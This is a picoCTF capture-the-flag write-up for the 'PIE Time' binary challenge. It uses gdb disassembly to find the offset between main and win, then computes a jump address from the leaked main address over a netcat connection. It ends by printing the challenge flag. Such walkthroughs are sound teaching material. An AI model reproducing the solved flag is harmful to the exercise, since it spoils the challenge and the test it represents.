

PIE Time

picoCTF > Binary · + Tags

PIE (Position Independent Executable) is a security mitigation that loads a program into random memory locations on every execution to stop attackers from predicting function addresses.

In this challenge this function is used. So, need to check the binary bytes to solve this problem.

```

$ gdb vuln
GNU gdb (Debian 17.2-1+b1) 17.2
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from vuln...
(No debugging symbols found in vuln)
(gdb)

```

The main function's binary location

```

(gdb) disass main
Dump of assembler code for function main:
0x000000000000133d <+0>:    endbr64
0x0000000000001341 <+4>:    push    %rbp
0x0000000000001342 <+5>:    mov     %rsp,%rbp
0x0000000000001345 <+8>:    sub     $0x20,%rsp
0x0000000000001349 <+12>:   mov     %fs:0x28,%rax
0x0000000000001352 <+21>:   mov     %rax,-0x8(%rbp)
0x0000000000001356 <+25>:   xor     %eax,%eax
0x0000000000001358 <+27>:   lea     -0xd6(%rip),%rsi    # 0x1289 <segfault_handler>
0x000000000000135f <+34>:   mov     $0xb,%edi
0x0000000000001364 <+39>:   call    0x1150 <signal@plt>
0x0000000000001369 <+44>:   mov     0x2ca0(%rip),%rax    # 0x4010 <stdout@@GLIBC_2.2.5>
0x0000000000001370 <+51>:   mov     $0x0,%ecx
0x0000000000001375 <+56>:   mov     $0x2,%edx
0x000000000000137a <+61>:   mov     $0x0,%esi
0x000000000000137f <+66>:   mov     %rax,%rdi
0x0000000000001382 <+69>:   call    0x1160 <setvbuf@plt>
0x0000000000001387 <+74>:   lea     -0x51(%rip),%rsi    # 0x133d <main>
0x000000000000138e <+81>:   lea     0xcbf(%rip),%rdi    # 0x2054
0x0000000000001395 <+88>:   mov     $0x0,%eax
0x000000000000139a <+93>:   call    0x1130 <printf@plt>
0x000000000000139f <+98>:   lea     0xcba(%rip),%rdi    # 0x2070
0x00000000000013a6 <+105>:  mov     $0x0,%eax
0x00000000000013ab <+110>:  call    0x1130 <printf@plt>
0x00000000000013b0 <+115>:  lea     -0x18(%rbp),%rax
0x00000000000013b4 <+119>:  mov     %rax,%rsi
0x00000000000013b7 <+122>:  lea     0xce0(%rip),%rdi    # 0x209e
0x00000000000013be <+129>:  mov     $0x0,%eax
0x00000000000013c3 <+134>:  call    0x1180 <__isoc99_scanf@plt>
0x00000000000013c8 <+139>:  mov     -0x18(%rbp),%rax

```

The win function's binary location

```
(gdb) disass win
Dump of assembler code for function win:
0x000000000000012a7 <+0>:    endbr64
0x000000000000012ab <+4>:    push    %rbp
0x000000000000012ac <+5>:    mov     %rsp,%rbp
0x000000000000012af <+8>:    sub     $0x10,%rsp
0x000000000000012b3 <+12>:   lea     0xd74(%rip),%rdi    # 0x202e
0x000000000000012ba <+19>:   call    0x1100 <puts@plt>
0x000000000000012bf <+24>:   lea     0xd71(%rip),%rsi    # 0x2037
0x000000000000012c6 <+31>:   lea     0xd6c(%rip),%rdi    # 0x2039
0x000000000000012cd <+38>:   call    0x1170 <fopen@plt>
0x000000000000012d2 <+43>:   mov     %rax,-0x8(%rbp)
0x000000000000012d6 <+47>:   cmpq    $0x0,-0x8(%rbp)
0x000000000000012db <+52>:   jne     0x12f3 <win+76>
0x000000000000012dd <+54>:   lea     0xd5e(%rip),%rdi    # 0x2042
```

If subtracted, the value is $133d-12a7 = 96$. This value should be subtracted from the given hex value after running the instance. Here, is the given value

```
(kali㉿kali) - [~/ctf/PIE Time]
$ nc rescued-float.picoctf.net 50085
Address of main: 0x5f6b5bce333d
Enter the address to jump to, ex => 0x12345: 
```

If 96 is subtracted from this value, we would get 5F6B5BCE32A7

Hex value:

$$5f6b5bce333d - 96 = \mathbf{5F6B5BCE32A7}$$

```
(kali㉿kali) - [~/ctf/PIE Time]
$ nc rescued-float.picoctf.net 50085
Address of main: 0x5f6b5bce333d
Enter the address to jump to, ex => 0x12345: 5F6B5BCE32A7
Your input: 5f6b5bce32a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_fec8b8c5}
```

The flag is: picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_fec8b8c5}